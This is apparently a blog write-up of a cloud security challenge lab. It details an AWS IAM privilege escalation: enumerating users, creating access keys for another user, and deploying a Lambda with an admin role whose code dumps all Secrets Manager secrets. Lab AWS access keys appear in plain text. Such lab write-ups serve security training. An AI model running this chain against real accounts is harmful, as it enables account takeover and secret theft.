Challenge Lab: Mapper (Medium) — Writeup
We start the lab and wait for it to generate the credentials. This may take 1–2 minutes:
Step 1: Configure AWS credentials using environment variables
In this step, I configured the AWS credentials directly as environment variables instead of using an AWS CLI profile:
export AWS_ACCESS_KEY_ID=AKIAQ7H5VOHZVILMX2IE
export AWS_SECRET_ACCESS_KEY="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"
export AWS_DEFAULT_REGION=us-east-1Then I verified that the credentials were valid by running:
aws sts get-caller-identityStep 2: Enumerate IAM users
After confirming that the current identity was cg-pentest-lab, I enumerated all IAM users in the account to identify which user might have interesting access:
aws iam list-users
#I also saved the output to a file for easier analysis:
aws iam list-users >users.txtThe output showed around 90 IAM users with randomly generated names. Since reviewing each user manually would take too much time, the next step was to automate the enumeration of their attached and inline policies in parallel to identify which user had admin-level permissions.
Step 3: Enumerate IAM policies for all users
Since there were around 90 IAM users with random names, I created a quick loop to enumerate which users had attached or inline IAM policies.
aws iam list-users --query 'Users[].UserName' --output text | tr '\t' '\n' | while read user; do
policies=$(aws iam list-attached-user-policies --user-name "$user" --query 'AttachedPolicies[].PolicyName' --output text 2>/dev/null)
inline=$(aws iam list-user-policies --user-name "$user" --query 'PolicyNames[]' --output text 2>/dev/null)
if [ -n "$policies" ] || [ -n "$inline" ]; then
echo "=== $user ==="
echo "Attached: $policies"
echo "Inline: $inline"
fi
doneWhat I did here was list all IAM users, extract only their usernames, and then loop through each one. For every user, I checked two things:
- Attached managed policies
- Inline policies directly assigned to the user
If the user had any policy attached, the script printed the username and the policy names. This helped me quickly filter out the users that actually had useful permissions instead of manually reviewing all users one by one.
In parallel, I also ran aws-enumerator to compare the results and speed up the enumeration process:
The goal of this step was to identify any user with interesting permissions, or policies that could lead to privilege escalation or any other actions:
./aws-enumerator enum -services allStep 4: Run AWS Enumerator and identify interesting IAM users
In parallel with my manual enumeration, I ran aws-enumerator to dump available service information:
./aws-enumerator dump -services all
#In this case, I only wanted to focus on IAM, so I ran:
./aws-enumerator dump -services iamAfter reviewing the IAM results, I noticed two interesting users:
cg-pentest-lab
cg-hlksbxhf-labThe first one, cg-pentest-lab, was my current user. It had an inline policy named:
cg-pentest-create-access-key-labThe second one, cg-hlksbxhf-lab, stood out because it had an inline policy named:
cg-lambda-developer-policy-labThat made cg-hlksbxhf-lab the target user, because the policy name suggested it might have Lambda-related permissions.
Get marianita_cloud’s stories in your inbox
Join Medium for free to get updates from this writer.
Next, I reviewed both inline policies to understand what my current user could do and what permissions the Lambda-related user had:
aws iam get-user-policy \
--user-name cg-hlksbxhf-lab \
--policy-name cg-lambda-developer-policy-labaws iam get-user-policy \
--user-name cg-pentest-lab \
--policy-name cg-pentest-create-access-key-labthis step was to confirm whether my current user could interact with or create credentials for the target Lambda user, and whether that user had permissions that could help continue the attack path…
Step 5: Create access keys for the target Lambda user and prepare the Lambda payload
After reviewing the policies, I identified a clear privilege escalation path:
- My current user could create access keys for other IAM users.
- The target user
cg-hlksbxhf-labhad Lambda-related permissions. - That user could create a Lambda function and pass the role
cg-LambdaAdminExecutionRole-lab. - A Lambda function using that role could access Secrets Manager.
First, I created new access keys for the target user:
aws iam create-access-key --user-name cg-hlksbxhf-labThen I saved the returned AccessKeyId and SecretAccessKey and exported them as environment variables:
export AWS_ACCESS_KEY_ID=<NEW_ACCESS_KEY_ID>
export AWS_SECRET_ACCESS_KEY=<NEW_SECRET_ACCESS_KEY>After that, I created the Lambda function code locally. The Lambda uses boto3 to list all secrets in Secrets Manager and then attempts to retrieve each secret value:
cat > /tmp/lambda_function.py << 'EOF'
import boto3
import json
def lambda_handler(event, context):
client = boto3.client('secretsmanager', region_name='us-east-1')
secrets = client.list_secrets()
results = {}
for s in secrets['SecretList']:
name = s['Name']
try:
val = client.get_secret_value(SecretId=name)
results[name] = val.get('SecretString', 'binary')
except Exception as e:
results[name] = str(e)
return results
EOFFinally, I packaged the Lambda code into a ZIP file:
cd /tmp && zip function.zip lambda_function.pythis step was to prepare a Lambda payload that could be deployed using the target user’s permissions and executed with the privileged Lambda role to retrieve secrets from AWS Secrets Manager.
Step 6: Invoke the Lambda function and retrieve the flag
After creating the Lambda function successfully, I invoked it to execute the payload and read the secrets using the privileged Lambda execution role:
aws lambda create-function \
--function-name mapper-privesc2 \
--runtime python3.12 \
--role arn:aws:iam::067103977971:role/cg-LambdaAdminExecutionRole-lab \
--handler lambda_function.lambda_handler \
--zip-file fileb:///tmp/function.zip \
--region us-east-1The function was created using the privileged execution role cg-LambdaAdminExecutionRole-lab.
Once the Lambda function was created successfully, I invoked it to execute the payload and read the secrets using the privileged Lambda execution role:
aws lambda invoke \
--function-name mapper-privesc2 \
--region us-east-1 \
/tmp/output.json && cat /tmp/output.jsonThe function executed successfully and returned the secret value from Secrets Manager:
{“cg-admin-flag-lab”: “HSM{…}”}The complete attack path was:
cg-pentest-labhadiam:CreateAccessKeypermissions on any user.- I created access keys for
cg-hlksbxhf-lab. cg-hlksbxhf-labhadlambda:CreateFunctionandiam:PassRolepermissions forcg-LambdaAdminExecutionRole-lab.- The Lambda function executed successful and retrieve the secret
cg-admin-flag-lab.









